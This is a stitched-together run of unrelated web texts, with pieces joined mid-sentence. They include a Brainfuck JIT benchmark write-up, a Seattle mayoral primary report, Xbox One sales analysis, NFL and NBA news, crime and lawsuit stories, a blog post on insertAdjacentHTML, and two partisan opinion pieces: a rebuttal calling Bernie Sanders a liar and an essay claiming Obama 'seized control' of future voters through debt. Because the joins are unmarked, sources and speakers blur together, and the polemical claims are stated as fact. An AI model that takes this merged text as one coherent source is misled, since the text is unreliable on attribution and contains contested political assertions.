1 2 3 4 5 6 7 8 $ time. / interpreter.. / samples / mandelbrot. b 43.54 s user 0.03 s system 99 % cpu 43.581 total $. / compiler.. / samples / mandelbrot. b > temp. s ;.. / assemble. sh temp. s ; time. / a. out 3.24 s user 0.01 s system 99 % cpu 3.254 total $ time. / jit.. / samples / mandelbrot. b 3.27 s user 0.01 s system 99 % cpu 3.282 total
The interpreter is an order of magnitude slower than the compiled result or run of the JIT. Then again, the interpreter isn’t able to jump back and forth as efficiently as the compiler or JIT, since it scans back and forth for matching brackets O(N), while the other two can jump to where they need to go in a few instructions O(1). A production interpreter would probably translate the higher level language to a byte code, and thus be able to calculate the offsets used for jumps directly, rather than scanning back and forth.
The interpreter bounces back and forth between looking up an operation, then doing something based on the operation, then lookup, etc.. The compiler and JIT preform the translation first, then the execution, not interleaving the two.
The compiled result is the fastest, as expected, since it doesn’t have the overhead the JIT does of having to read the input file or build up the instructions to execute at runtime. The compiler has read and translated the input file ahead of time.
What if we take into account the time it takes to compile the source code, and run it?
1 2 $ time (. / compiler.. / samples / mandelbrot. b > temp. s ;.. / assemble. sh temp. s ;. / a. out ) 3.27 s user 0.08 s system 99 % cpu 3.353 total
Including the time it takes to compile the code then run it, the compiled results are now slightly slower than the JIT (though I bet the multiple processes we start up are suspect), but with the JIT we pay the price to compile each and every time we run our code. With the compiler, we pay that tax once. When compilation time is cheap, as is the case with our Brainfuck compiler & JIT, it makes sense to prefer the JIT; it allows us to quickly make changes to our code and re-run it. When compilation is expensive, we might only want to pay the compilation tax once, especially if we plan on running the program repeatedly.
JIT’s are neat but compared to compilers can be more complex to implement. They also repeatedly re-parse input files and re-build instruction streams at runtime. Where they can shine is bridging the gap for dynamically typed languages where the runtime itself is much more dynamic, and thus harder (if not, impossible) to optimize ahead of time. Being able to jump into JIT’d native code from an interpreter and back gives you the best of both (interpreted and compiled) worlds.That’s right, UTF’s very own Seoul Correspondent John M. attended the South Korean shoot of Marvel Studios’ AVENGERS: AGE OF ULTRON, and we got some super sweet set photographs for you. Featuring Black Widow astride Captain America’s trusty motorcycle, these pics reveal a good bit about the plot. During a previous shoot in Seoul we saw Chris Evans’s Cap hop from car to car in a high speed traffic chase. He (and his stunt double) were dangling from the swinging cargo door of a semi trailer, rolling around the hoods of an SUV, and partaking in all around vehicular baddassery. You know, #ThingsCaptainAmericaDoes.
Well, with these photos clearly capturing Black Widow behind the handlebars of the Red, White, & Blue boyscout’s bike, I think it’s safe to assume that she comes to the good Captain’s aid at some point in this fight. I imagine that Captain America chases someone down, probably an Ultron Bot, and just as that Vibranium powered robot shoots a laser beam at Cap, exploding the fancy blue Prius he was so carefully hood surfing, Black Widow catches him on the back seat of the moto. Insert witty trope breaking, gender flipped sexist comment here.
Now, if you browse the pics below, you’ll notice that this is Scarlet Johansson’s stunt double. As the actress is pregnant at this time, I don’t imagine she was too eager to speed around South Korea on a stunt bike. Especially considering the quality of that nation’s drivers.
Hey, I can say it. I have a South Korean driver’s license (I actually do) and they are crazy!!! In a good way, of course. Driving through Seoul is a lot like an urban rally race where panel damage isn’t covered by insurance. Oh, and a big shout out to our Managing Editor, Harrison Rawdin, who edited all of these because my office’s computer is pooped out.PRIMARY: Seattle will likely have first female mayor since 1928
Updated at 4:30 p.m. Thursday, Aug. 3 with latest results: Seattle will very, very, very likely have a female mayor — the first time since 1928, when Bertha K. Landes cleaned up city hall and the police department with her slogan, "Municipal housekeeping." On Thursday afternoon, Jenny Durkan continued to lead, with 30.2 percent of the vote. That was a slight dip from the day before. Cary Moon remained in second, now with 16.7 percent. Nikkita Oliver is in third with 14.9 percent.
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The next results will be released at 4:30 p.m. on Friday. Moon has indicated that if she advances to the general, she hopes for Oliver’s support. At her primary night party, she said: “I think Nikkita’s movement is big and it’s important and it’s been a groundswell for people who have not been involved in politics. As well as a lot of people who are ready for big social justice change.” Of Jenny Durkan, Moon was less enthusiastic: “Jenny has raised a lot of money and has a lot of support in the establishment sort of world.” Oliver emphasized to KUOW on Wednesday that she is not conceding or endorsing — yet. She believes that later results could be in her favor — and said that her campaign is prepared to scrutinize ballots that get disqualified. But she signaled that if Moon moved onto the primary, she would support her over Durkan.
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“I think it’s important to align with the candidate who is going to serve the interests of the most vulnerable in our city,” Oliver said. “Of the two that are currently looking like they’ll move through the primary, Cary is the one to have shown to have the strongest analysis around what that means, and the most willingness to be corrected when she’s wrong.” The top two candidates will advance to the general election in November. Other top mayoral candidates: Jessyn Farrell: 12.4 percent Bob Hasegawa: 8.6 percent
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Mike McGinn: 6.7 percent Seattle City Council, Position 8 Teresa Mosqueda: 31.7 percent Jon Grant: 25.4 percent Sara Nelson: 22.7 percent
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Prop. 1: Sales tax for cultural access program Rejected: 52.8 percent Approved: 47.2 percent About 20,000 more ballots were counted on Thursday; it's unclear how many are still outstanding. The ballots of 30.8 percent of registered voters have been counted so far — that number should rise somewhat in coming days as the count continues. Twenty-one candidates ran for mayor this year, with six leading the pack. Among them, four women: Cary Moon, Nikkita Oliver, Jenny Durkan and Jessyn Farrell.
SponsorIn a rather unsurprising case of “we told you so,” Microsoft says Xbox One sales have doubled since the arrival of the $400 Kinect-free Xbox One in June. The press release is infuriatingly slim on other important details, though, such as how many Xbox One consoles Microsoft actually sold, and — more importantly — how the Xbox One is faring in comparison to the PS4. Still, let’s not Microsoft’s coyness get in the way — let’s do our best to tease the figures apart, and look at some figures from some other sources, to see just how the Xbox One is doing.
First, the official figures from Microsoft. The $400 Kinect-free Xbox One was first offered in the US on June 9. Since then, sales have “more than doubled” compared to sales in May.
The question is, how many Xbox Ones did Microsoft sell in May? And was the boost in sales entirely down to the removal of Kinect, or are there other factors at play?
in-depth feature a couple of months ago, console sales are mostly flat except for the holiday season, with big game releases only generating small peaks in sales.
The sales data from VGChartz does show a very clear boost in sales for the Xbox One following the release of the $400 Kinect-free version, however. While Xbox One was generally selling around 35,000 units per week in May, it has been at 60,000+ since the introduction of the $400 bundle on June 9. The PS4, on the other hand, has been sitting at around 100,000 units per week for a long time.
Another possibility is that, having seen all of the upcoming game releases at Microsoft’s E3 conference, lots of consumers finally decided to jump in and buy an Xbox One. If that was the case, though, we would’ve expected to see a similar jump in PS4 sales — but there hasn’t been one.
the PS4 having considerably better hardware, too — plus, Microsoft’s flip-flopping on important Xbox One policies hardly inspired confidence.
Anyway, it’s good to see Xbox One sales picking up pace. To be honest, Microsoft didn’t have a whole lot of choice: While the consoles were fairly close up until the end of 2013, the continued strong sales from the Sony camp puts the current totals at around 8.4 million for the PS4 vs. 4.8 million for the Xbox One. Closing the weekly deficit from ~60,000 units to ~30,000 units will certainly help the Xbox One, but it’s obviously not the solution if Microsoft wants to be the proud owner of the dominant eighth-generation game console.On April Fools’, Senator Bernie Sanders (Loonbag-VT) demonstrated that he’s the perfect mascot for the day with this tweet:
38 years ago, the top 0.1% owned about 7% of our nation’s wealth. Today, that same 0.1% owns 22% of the wealth. — Bernie Sanders (@BernieSanders) April 1, 2017
The implication here is obvious: something horrible has happened, rich people are getting richer, everyone else is getting poorer, and things were better 38 years ago.
That’s ridiculous.
Here are seven reasons why.
1. There Is No Such Thing As The “Top 0.1%.” Sanders and others on the left like to make it sound as though there is a tiny oligarchy of uber-wealthy people who earn all the money in the United States year after year, siphoning income to themselves while sucking out of the pockets of others. That’s nonsense. The constituency of the top earners in the United States changes dramatically year after year. For example, for those in the top 1 percent in 1996, incomes decreased by 26 percent by 2005. In other words, those people largely dropped out of the top 1 percent. As Thomas Sowell writes: “A University of Michigan study showed that most of the working people who were in the bottom 20 percent of income earners in 1975 were also in the top 40 percent at some point by 1991. Only 5 percent of those in the bottom quintile in 1975 were still there in 1991, while 29 percent of them were now in the top quintile.”
2. The Upper Middle Class Has Wildly Expanded. While both sides of the political aisle repeat the myth that the middle class has fallen apart in the last few decades, it hasn’t. In 1967, 22 percent of Americans made an inflation-adjusted income of less than $25,000; 61.8 percent of Americans made between $25,000 and $75,0000; 16.3 percent of Americans made an inflation-adjusted $75,000 per year or more. By 2009, 43.2 percent of Americans made between $25,000 and $75,000 – but 39.1 percent of Americans made over $75,000, and just 17.8 percent made less than $25,000. Overall, the upper middle class grew from 12 percent of Americans in 1979 to 30 percent as of 2014.
3. Income Has Not Stagnated For Americans. While some wrongly claim that income has stagnated for the “bottom 90 percent of earners” since the 1970s, that’s not true. As Scott Winship of The Brookings Institution writes, “From 1967 to 1979, median household income grew by $5,500. This understates income growth during this period because it does not incorporate non-cash public transfers like food stamps, Medicaid, and Medicare and does not include fringe benefits or realized capital gains (such as from the sale of a home). From 1979 to 2009, we can use improved estimates from the Congressional Budget Office that combine the CPS data with tax return data to partially fill these gaps. CBO indicates that median household income (before taxes) rose by $14,200. After taxes, median income rose by $17,600. At a minimum, therefore, median household income rose by $20,000 from 1967 to 2009.”
4. Income Mobility In The United States Remains High. It is a lie that income mobility in the United States has stagnated. It’s just that people are making decisions that cause more income immobility, such as having children out of wedlock. When we adjust for those decisions, we actually find that the United States is on par with European countries with far more redistribution of wealth in terms of income mobility – and over time, intergenerational mobility has actually increased slightly in the United States over past generations.
5. Global Poverty Has Dropped Dramatically. In 1981, 44.3 percent of the global population lived on less than $1.90 per day; in 2015, the global extreme poverty rate dropped below 10 percent. That’s thanks to the rise of global capitalism and free trade, not redistributionism.
6. Life Expectancy In The United States Has Risen Dramatically. While Sanders decries the top 1 percent as the source of suffering, life expectancy has risen across the board in the United States over the past four decades. In 1979, average life expectancy was 73.9 years; today, it’s 78.9 years old. And remember, that figure includes all the premature death thanks to self-inflicted health problems, car accidents, and homicides. In the United States, we have the world’s top life expectancy from 1980 to 1999 without fatal injuries.
7. Living Standards Have Risen Dramatically In The United States. Remember the gas lines of 1979? How about lack of air conditioning, landlines, lack of personal computers, living spaces? All of our living standards are much higher now than they were 38 years ago thanks to technological development and capitalistic competition. The average poor person in the United States is rich by global standards: the majority have computers, virtually all have televisions, more than 80 percent have a Tivo, all have refrigerators and microwaves. And pretty much everybody has a cellphone, too.
So no, Bernie, 1979 wasn’t a better time. You’re just lying.The competition for starting offensive tackles is stiff. There are only a few capable starters available and more than a few teams still in search of an answer for their line.
Russell Okung is among the top options remaining on the free agent market (along with former Giants left tackle Will Beatty), and the Giants had him in for a visit over the weekend. But they are clear underdogs for his services.
Okung, 28, also had visits with the Steelers, Lions and Broncos. The Steelers signed offensive tackle Ryan Harris earlier in the week, so they're out of the hunt. The team that drafted Okung, the Seahawks, are still in the mix as well.
Top remaining free agent O-linemen
Of the four remaining suitors, the Giants may be the furthest from winning a Super Bowl. They've gone four straight seasons without the playoffs, and just completed their third straight losing year.
If winning is at or near the top of Okung's priority list, the Giants might not be his first or best choice. Denver and Seattle are certainly more logical. Each has reached the Super Bowl two of the past three seasons, and each has lifted the Lombardi Trophy on one of those occasions.
There is also another obstacle that could cloud Okung's path to the Giants. All 72 of his career games have been at left tackle. He hasn't played right tackle since the first eight games of his freshman year at Oklahoma State in 2007.
The Giants have Ereck Flowers at left tackle. General manager Jerry Reese said last month at the NFL Scouting Combine that he didn't envision that to change.
"Yeah, we think Ereck Flowers is a left tackle. We think he's going to be our left tackle moving forward," Reese said. "He was up and down a little bit during the season. He really looked good at times, then he looked like a rookie at times. I think that rookie wall, I think he hit that at some point as well. But he's a tough kid that stayed out there the whole time. Mike Solari is our new offensive line coach and we're looking forward to see what he can do with him moving forward."
Flowers, 21, doesn't necessarily want to move to the right side, where he hasn't played since his freshman year at Miami. He views himself as a left tackle, and the Giants view him as their left tackle of the present and future -- all of which makes the potential signing of Okung more difficult.
Of course, if Okung is signed the Giants can find a way for it to work. They can devise a reasonable plan and solution that makes all parties involved reasonably happy.
Regardless, when Okung is surveying his options, this just makes the Giants a little less enticing. Even if he's signed as their left tackle, he has the left tackle of the future looking over his shoulder.
Maybe the only way to make the Giants attractive enough to grab Okung's full attention is to offer significantly more money than the competition, and that seems unlikely and unadvisable given his injury history. Okung is coming off shoulder surgery and has never played 16 games in his six professional seasons.
This much is clear: Given all the factors, it doesn't appear Okung's best fit is with the Giants. What's unclear is where the Giants would turn if he chooses to sign elsewhere. The options are limited.
Jordan Raanan may be reached at jraanan@njadvancemedia.com. Follow him on Twitter @JordanRaanan. Find NJ.com Giants on Facebook.RPGs are stuffed full of cults, and nine times out of ten they're the hands behind the goblin raids, undead outbreaks, and/or marauding clans of raiders. And what do cults want? Well, usually it has something to do with virgins, fancy daggers, and opening a gateway to an outside realm to let in their masters.
The point isn't to kill the cult leader, fight the wicked champion, or smash the followers. Those are all options for the party to try, but the point of this combat is to stop the ritual the cult has begun.
This gives your players a lot of different options. Do they sabotage the ritual by sneaking up disguised as robed cultists to botch the wording? Do they use a non-lethal spell like silence in order to cut off the ritual so it can't be finished? Do they kill all the cultists? Destroy the altar? Steal the sacrifice? These are all options, but if you're going to go this route you need to be sure you don't pull a cheap trick like, “how much blood did you spill on the altar when you critted the high priest? Well, that should be enough to summon He Who Shall Not Be Named!”
Can you do that? Sure. But if you're going to do it, don't make it feel like you're taking away the players' victory, slapping them in the face with a trout, and then telling them to fight the Beast Lord of the Auto-Cthonic Depths because they stepped over a line in the sand they couldn't even see.The father of 6-year-old Veronica Moser-Sullivan, who was the youngest of the 12 people killed in the July 20 Aurora theater shootings, filed the most recent lawsuit against Cinemark on Friday.
The lawsuit, filed by Ian Sullivan in federal court in Denver, alleges, like previous suits filed against the theater, that inadequate security at the Century Aurora 16 allowed the attack to happen.
The suit details some of the known security procedures the theater had taken after previous altercations both in the theater and at the Aurora mall by hiring off-duty law enforcement for security on Friday and Saturday nights.
The suit alleges that knowing that large crowds were expected for the midnight showing Thursday night into Friday morning, the theater should have hired added security that day, too.
Other allegations also blast the theater for safety precautions related to the lack of alarms on the emergency doors, and the lack of training for the employees — both for preventing crime, and for reacting to such an incident.
“There was no action taken by theater employees to safely evacuate the many people left in Auditorium 9,” the suit states.
Texas-based Cinemark, which operates the Aurora theater, has filed motions to dismiss on two of the other lawsuits other victims in the shooting have filed.
Cinemark requested the dismissal on grounds that the lawsuits fail to state a claim on which relief can be granted and that the company could not have foreseen such an attack.
Friday’s suit does not indicate a dollar amount Sullivan is seeking.Buy the 2 oz Silver Ultra High Relief USS Arizona Memorial round from the American Landmarks Series for as low as $3.50 over spot!
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Josephe has worked as a freelance cartographer for over 5 years, with his work appearing in numerous Roleplaying Games, Video Games and Novels. He has a Master of Arts degree in Design, specializing in Illustrations and is well studied in Art History and medieval architecture. He lives in Leipzig Germany and has travelled all over Europe visiting medieval castles, baroque churches and other ancient buildings.
You can browse some of his linked maps, and be sure to zoom way in! Some of them are quite large. Welcome him to the team!
You can also browse his online showcase here: http://www.cartographersguild.com/members/schwarzkreuz-albums-showcase.html- Five people were shot late Sunday night at a dance club on Detroit's west side, Detroit Police tell FOX 2. Police are still looking for the shooter.
Police tell us the shooting happened Sunday around 11 p.m. at The Penthouse Lounge, which is near Joy Road and Livernois Avenue.
Police tell us an argument broke out after someone said they were inappropriately touched, and then the argument moved outside and someone opened fire, according to police.
Four men were hit and are currently in stable condition. One other person was treated at the scene.
The shooter is described as being about 6 feet 4 inches tall, weighing 260 lbs. and having a beard and a mustache.
If you have information about the shooting or the suspect, you're asked to call Detroit police.Ethereum tokenization startup DigixGlobal has partnered with Monolith to produce a new version of the world’s first gold-backed Blockchain debit card.
Denominated in Ether (ETH) and ERC20 tokens, Monolith’s Visa Debit card will become customizable for the needs of Digix’s customers as a result of the partnership.
“The card will be available to users worldwide who might seek its unique properties,” IB Times quotes Digix CEO Kai Cheng Chng as saying. “The partnership will focus on some specific markets namely countries with weak national currencies and large remittance flows.”
Chng added that cardholders will have a new way of easily acquiring the company’s DGX tokens. These gold tokens, which Digix provides in order to transfer gold ownership to customer ETH wallets, could become a “comprehensive banking replacement for the general public,” Monolith co-founder Mel Gelderman said.
“In this vision, stable currency plays a key part. Digix Gold tokens are uniquely tangible and offer significantly more stability compared to other digital assets, making them a viable option for worldwide adoption,” Gelderman continued. “Together with Digix, we will be able to offer one of the only true commodity backed debit cards and bring back the gold standard in a meaningful way.”
Swiss Ethereum startup Monolith originally launched its Blockchain debit card in December 2016.Packers Blog The Journal Sentinel's team of Packers beat writers provide the latest news, notes and analysis SHARE
By of the
Green Bay --- First, Clay Matthews cashed in. Soon after, so did Aaron Rodgers. Both are the highest-paid players at their position.
Meanwhile, B.J. Raji waits.
At his locker Tuesday, Raji said he "absolutely" wants to be with the Green Bay Packers long term.
"Green Bay gave me my first opportunity, my first shot at this thing," Raji said. "Obviously I've had a great run here. I love the people here. It's a great organization, it's a great city for football. I wouldn't want to be anywhere else."
The 2009 first-rounder's contract expires after the 2013 season. While the deals to Rodgers and Matthews were unprecedented investments for the Packers, they may have some short-term wiggle room to get a deal done with Raji as noted here.
In four seasons, Raji has played a ton of snaps for Green Bay, totaling 112 tackles and 10.5 sacks. In 2012, Raji finished with 19 pressures, often taking on double-teams. The Packers will also have two other key 2014 free agents in wide receiver James Jones and cornerback Sam Shields. Again, the restricted free agent Shields was not at practice.
Overall, Raji does not too sound concerned about his contract situation.
"I'm just going to continue to do what I've been doing," Raji said. "Obviously, there are some areas I can improve. But ultimately it's just being the guy I've always been. I'm confident everything will take care of itself."Michael Beasley has said he thinks he deserves more respect to his name considering the amount of production he has given the six NBA teams he has played for. The Kansas State-product played for the Miami Heat on three separate occasions but was unfortunatly never on the team when they won an NBA championship.
Now a recently inked Knicks player, Beasley has sort of a new chance at a new slate. In the past, he had alleged trouble with marijuana, causing critics to give him the cold shoulder. Beasley now notes whether or not this was a part of the reason he has no respect.
“It’s exactly the reason,’’ Beasley told NY Post. “People meet me. First thing they say: “You’re totally different than I thought you are. A large part of my career is due to perception, what people think what I am or should be. My past is my past. They keep harping on it. Everyone wants me to grow up and learn from my past, learn from my mistakes. But you guys should do the same thing. I’m years removed from any marijuana incident or incident period. But it’s all anybody speaks about. I’ve grown up. Now it’s time for you to grow up.’’
It seems Beasley is genuine in his approach to gain the attention he feels he has always deserved. The 28-year old forward has never ran into any issues and has always proven to be quite the utility player. Hopefully he will see some sort of success wearing a Knicks jersey this coming season.Full Time Warehouse Lead Atlas International Trade Group is an industrial distributor specializing in fasteners (nuts, bolts, washers, etc.) with customers located throughout the United States. Our only US Distribution Warehouse is located in Sullivan and we are looking to add a hardworking, ambitious person to our team. We’re looking for a full-time Daytime... bourbon $0.00 USD February 16, 2019, 9:24 am
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Trek/Apes event to see if the story line has improved, rounding out with a look at John Byrne’s latest New Visions comic staring everyone’s favorite scoundrel, Harry Mudd.
News
Margaret Clark Shares Book News (00:01:58)
Trek/Apes 2 (00:14:25)
Made Out Of Mudd (00:19:48)
Feature: The Q Gambit
Issue 1 (00:28:32)
Issue 2 (00:38:27)
Issue 3 (00:49:13)
Issue 4 (01:01:11)
Issue 5 (01:07:28)
Issue 6 (01:15:11)
Ratings (01:23:17)
Closing (01:25:38)Libertarians say Republicans have hijacked tea party movement David Edwards and John Byrne
Published: Wednesday April 15, 2009
Print This Email This As conservatives coalesce in nationwide protests against rising taxes, government spending and what they call the "bailout mentality" of President Barack Obama's Administration, the ship appears to have sprung a leak.
Speaking on MSNBC's Rachel Maddow show Tuesday evening, Rep. Ron Paul's (R-TX) media coordinator Steve Gordon decried what he characterized as an attempt by mainstream conservative Republicans to hijack a long-cherished libertarian cause. Paul was a longshot candidate for the Republican presidential nomination last year.
Gordon brought Maddow a gift of Southern tea bags -- using them as a metaphor for what he said was a Southern version of conservatism, sweetened by taxes and deficit spending.
Gordon singled out former Republican House Speaker Newt Gingrich, a Georgia native, and Arkansas governor Mike Huckabee.
"Newt Gingrich is a good example," Gordon said. "He could be one of these two tea bags because he likes his tea bags sweetened with TARP [Troubled Asset Relief Program] funding. This other one could be Mike Huckabee, 'Tax Hike Mike' because he likes his tea bag sweetened with tax increases. So you see we've got a bunch of republican, senior Republican officials in the deep south who can't tell if their tea bags are swinging from the left or the right."
Last year, supporters of Paul's presidential campaign tried to fly a blimp to Boston, where they planned to dump tea in the Boston harbor.
The media coordinator for the Texas Republican says that Republicans have "co-opted" their message.
"Newt Gingrich of all people should not be involved in any movement to decrease deficit spending," Gordon quipped.
Gordon spoke about a specific Alabama protest event where the conservative 501 (c)(3) Freedom Works tried to set up a rally in Birmingham where "nobody showed up," but said that his own rally was more successful.
"It's important the people at the grassroots level stick to our guns and say no when they try to co-opt our message," Gordon said.
Gordon told The Washington Independent Tuesday, "Bringing in someone like Gingrich takes away from the message. Newt Gingrich enabled George W. Bush, he enabled the big spending, he lobbied conservative Republicans to compromise their principles and support Medicare Part D."
This video is from MSNBC's Countdown, broadcast Apr. 14, 2009.
Download video via RawReplay.com
Get Raw exclusives as they break -- Email & mobile Email - Never spam:While looking for improvements to injecting HTML fragments into a document (which I mentioned, in passing, when I looked at using Document Fragments) I decided to spend some more time with Internet Explorer’s insertAdjacentHTML method.
This method has been in Internet Explorer since version 4.0 – as well as is in the current release of Opera – and allows you to inject fragments of well-formed HTML into a variety of locations in a document.
The locations work as such (I list the equivalent terminology):
.insertAdjacentHTML("beforeBegin",...) before.insertAdjacentHTML("afterBegin",...) prepend.insertAdjacentHTML("beforeEnd",...) append.insertAdjacentHTML("afterEnd",...) after
The method is only available on DOM elements (which makes sense) and is easy to use:
var ul = document.getElementById("list"); ul.insertAdjacentHTML("beforeEnd", "<li>A new li on the list.</li>"); ul.insertAdjacentHTML("beforeEnd", "<li>Another li!</li>");
At first glance the method appeared to work well and seemed to be relatively fast. Two questions remained, though: How fast is it in comparison to using the Document Fragment technique I outlined before and does it work for all the strange use-cases that exist?
I created a test case to compare the three types of injection: The type we’ve been using in jQuery prior to the upcoming 1.3 release, the new Document Fragment technique we’ll be using in jQuery 1.3, and a case using insertAdjacentHTML (where applicable). While both the Document Fragment and insertAdjacentHTML cases were significantly faster than the old techniques used in jQuery the Document Fragment technique ended up being marginally faster in IE 6 (50ms vs. 80ms for insertAdjacentHTML).
There’s a huge problem with insertAdjacentHTML: It doesn’t work on all HTML elements in IE 6 (specifically it doesn’t work on table, tbody, thead, or tr elements). Having gaps in the functionality is very undesirable (attempting to use insertAdjacentHTML on those elements causes an exception to pop up in IE 6).
It doesn’t work on XML documents. Of course neither does innerHTML (at least not until browsers start to implement HTML 5 more completely). We’re stuck doing the traditional techniques used in libraries like jQuery.
So why spend all this time talking about a method that is relatively half-baked in the main browser that implements it? Because it’s going to be part of the HTML 5 specification. This means that we’re going to see a larger number of browsers start to implement this method (and hopefully it’ll encourage existing vendors to implement it more completely and efficiently).
Having browsers implement this method will dramatically reduce the amount of code needed to write a respectable JavaScript library. I’m looking forward to the day in which this method is more-widely available (along with querySelectorAll) so that we can really buckle down and do some serious code simplification.This Challenge requests Solvers to submit short- to medium-length science fiction stories exploring their vision of healthcare in the next 20-100 years. Stories should not only address the development of new technologies but also the way in which they change people’s interactions with each other (for example, physicians and patients) as well as with the new technology.
While the rights to submitted stories will remain with the Solver (for instance, they would be free to submit it to journals, publishers, etc.), the Seeker will have a non-exclusive license to the submitted stories and may make them available within and outside their organization. They will only do so, however, with full attribution of the author.
This is an Ideation Challenge, which has the following unique features:
There is a guaranteed award. The awards will be paid to the best submission(s) as solely determined by the Seeker. The total payout will be $10,000, with no award being smaller than $5,000.
. The awards will be paid to the best submission(s). The total payout will be $10,000, with no award being smaller than $5,000. The Solvers are not required to transfer exclusive intellectual property rights to the Seeker. Rather, by submitting a proposal, the Solvers grants to the Seeker a royalty-free, perpetual, and non-exclusive license to use any information included in this proposal.Debt, Entitlements, and the Consent of the Governed
Everyone is familiar with the traditional connections of money to government. These include granting contracts to persons who make substantial campaign donations, funding entitlements to voter identity groups, and many other abuses. But the Democratic Party and President Obama developed this connection between money and government farther than anyone else in US history. In order to understand what they did, it’s necessary to review the nature and financial usefulness of our monetary system. Briefly stated, the monetary system creates the value of paper money and its electronic equaivalient as a means of the federal government purchasing products and servicing debt through a government controlled central bank, the Federal Reserve, purchasing the debt issued by the Fedral Government. Unlike barter or gold backed currency, this monetary system introduces the element of time.
That the monetary system introduces time into financing can be easily understood by looking at the terms of a mortgage. A mortgage allows a person to put a down payment, for example twenty percent, on a mortgage loan, then agree to make monthly payments for twenty years or so. The advantage of the mortgage payment plan to the homeowner is that the twenty year value of the homeowner’s income can be borrowed today to purchase a home, giving the homeowner the advantages of home ownership. But this is not the whole story. This alone doesn’t explain the connection of national debt to the ballot box. President Obama expanded, more than any other president, another, far deeper and more dangerous layer of connection between the monetary system and the control of national government. Obama’s method was not to seize control of the ballot box but to seize control of the results of the ballot box: the choice of what legislation is funded in the future. Voters are supposed to be able to completely control the funding of policies of national government, but Obama, more than any president before him, took most of that control away by comitting taxpayers to repaying debt incurred to fund current spending. Just as a consumer can personally choose how future income is used today through borrowing, Obama seized control of the will of tomorrow’s electorate by expanding his party’s practice of using time to control legislation. This concept is so abstract it has largely escaped detection, yet here is the proof: no matter what voters do in the future they are forced to service the debt created by Obama’s party’s choices; and since those choices have already been made and the debt must be serviced in the future, future voters have no opportunity to give their consent. This is not just an abstract theory it is the most real fact of financial and legislative life for Americans. These programs exist, the debt exists, and the debt cannot be wiped away with a vote. If it were, the US would lose its credit rating and ability to borrow. So for now, this setup prevents the voters from reducing the debt. The debt can only be eliminated by being paid down by the taxes of the people. At first glance it may seem that the concept of debt service over time does not violate voters’ rights. But Scotus has ruled that the value of a person’s vote cannot be diluted, diminished, or impaired. The central issue of the analysis, then, is whether future voters have lost their right to consent to how their taxes are spent when they are forced to support debt incurred to pay for earlier programs. The Constitution mandates that the legislation passed by Congress must be authorized by the consent of the governed expressed through the ballot box. To guarantee that power comes from the people, the Framers of the Constitution wanted House members to face voters every two years, and Senators every six years; with one-third of the Senate up for reelection every two years. The reason Congress must defer to the “consent of the governed” every two years was explained by James Madison in Federalist No. 37: “The genius of republican liberty, seems to demand on one side, not only that all power should be derived from the people; but, that those intrusted with it should be kept in dependence on the people, by a short duration of their appointments; and that, even during this short period, the trust should be placed not in a few, but in a number of hands…. A frequent change of men will result from a frequent return of electors; and a frequent change of measures, from a frequent change of men.” The opportunity to vote for a “frequent change of measures” is denied to voters through their commitment to repay the debt. National debt denies future voters their right to influence legislation in two ways. First, the taxes they pay are wasted to service interest costs for appropriations made years before. Secondly, taxes that go to service debt aren’t available to finance the new policies voters may wish their legislators to enact. Their votes are then diminished, diluted and impaired; and this practice, the Supreme Court has frequently ruled, violates the Constitution. The national debt indentures tomorrow’s voters to repay money borrowed to finance programs today; so the consent of the governed is also stolen in a similar proportion: if one-tenth of the budget is debt service, that one-tenth of the present legislative power of voters was usurped by a previous Congress. The nation’s republican form of government is nullified by degree as the portion of expenditures devoted to the debt increases. The Framers were primarily concerned with the distribution of power over the three branches of government. But the Democratic Party found a shrewd way to bypass both the consent of the governed and the checks and balances of the original three branches. Since the will of the people can only be realized through legislative appropriations, past Congresses have usurped the realization of today’s voters’ will by pre-appropriating the funds needed to realize any new legislative policies. Since Democrats are the party of entitlement spending, financing of public sector unions and the bureaucracy, they have intentionally developed and financed this strategy to keep themselves in power. The Framers never envisioned massive entitlements or debt not limited by a limiting quantity of gold. It would take a revolution in legal thinking for the Supreme Court to apply this thinking and rule unconstitutional the funding of current expenditures by the national debt. But legal thinking does change over time, and the best way to encourage this idea is to discuss it.The Colorado teen accused of murdering a newlywed soldier and his pregnant wife was found guilty Tuesday following a 12-day trial, officials report.
Macyo Joelle January, 19, was found guilty of murdering Staff Sgt. David Dunlap, 37, and his pregnant wife Whitney Butler, 35, after the two walked in on him burglarizing their Colorado Springs home Jan. 14, 2013.
Police say that the newlyweds arrived home separately to check on the alarm that went off at 11.10am.
Shot: Sgt. David Dunlap, 37, and his pregnant wife, 35, Whitney Butler were both fatally shot from behind Jan. 14, 2013
Family: In the courtroom, Maryln Dunlap (front, right) -- Sgt. David Dunlap's mother -- wept inconsolably while, just feet away, January smiled and hugged his attorneys following the verdict
Dunlap and Butler were both shot from behind as they walked through the front door. Officials say evidence suggests that Butler was shot in the head as she leaned over her husband's dead body, according to The Gazette.
A jury deliberated for three-and-a-half hours and the case that went on for 1 1/2 years -- overlapping what would have been the couple's two-year anniversary -- ended with January being found guilty of the slayings.
January will be sentenced Oct. 22. He is being sentenced as an adult which means he will face life in prison, however, because he was 17 at the time of the double-murder, there is chance for parole after 40 years, The Gazette reports.
January was also convicted of burglary, theft, and aggravated motor vehicle theft. There was no murder charge for the 13-week-old fetus Butler carried the day she died, in accordance with state laws, authorities say.
The Gazette reported that January showed no emotion when the jury unanimously found him guilty in front of 4th Judicial District Court Judge Deborah Grohs.
In the courtroom, Maryln Dunlap -- Sgt. David Dunlap's mother -- wept inconsolably while, just feet away, January reportedly smiled and hugged his attorneys following the verdict.
Pregnant: There was no murder charge for the 13-week-old fetus Butler carried the day she died, in accordance with state laws, authorities say.
Never forgotten: Marie Butler said her daughter and son-in-law would not be forgotten and that she would not let their murders make her bitter, vengeful, or hateful
Juror Cornelia Sistrunk told The Gazette that she was confident that the jury weighed all of the testimony and evidence.
'As far as I'm concerned as a juror,' Sistrunk said, 'it came down to five things for me: the gun, the bullet, the fingerprint, the DNA, and the confessions.'
The parent's of the couple told KKTV that they feel a sense of justice now that January has been convicted.
Just months after the murder of her daughter, Marie Butler referred to the deaths as a 'parent's worst nightmare' as she told The Gazette, 'I don't know if I will ever be able to wrap my hands around it.'
Now, just days after the verdict, Butler said she would honor the couple's memory by not 'letting it make us bitter or vengeful or hateful.'
'These people will not be forgotten,' Butler said.Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
SEAN Comiskey’s children will be making sure he has a happy Father’s Day today.
But the outdoors instructor, who was once told he might never be a dad, says every day with his children is something to celebrate.
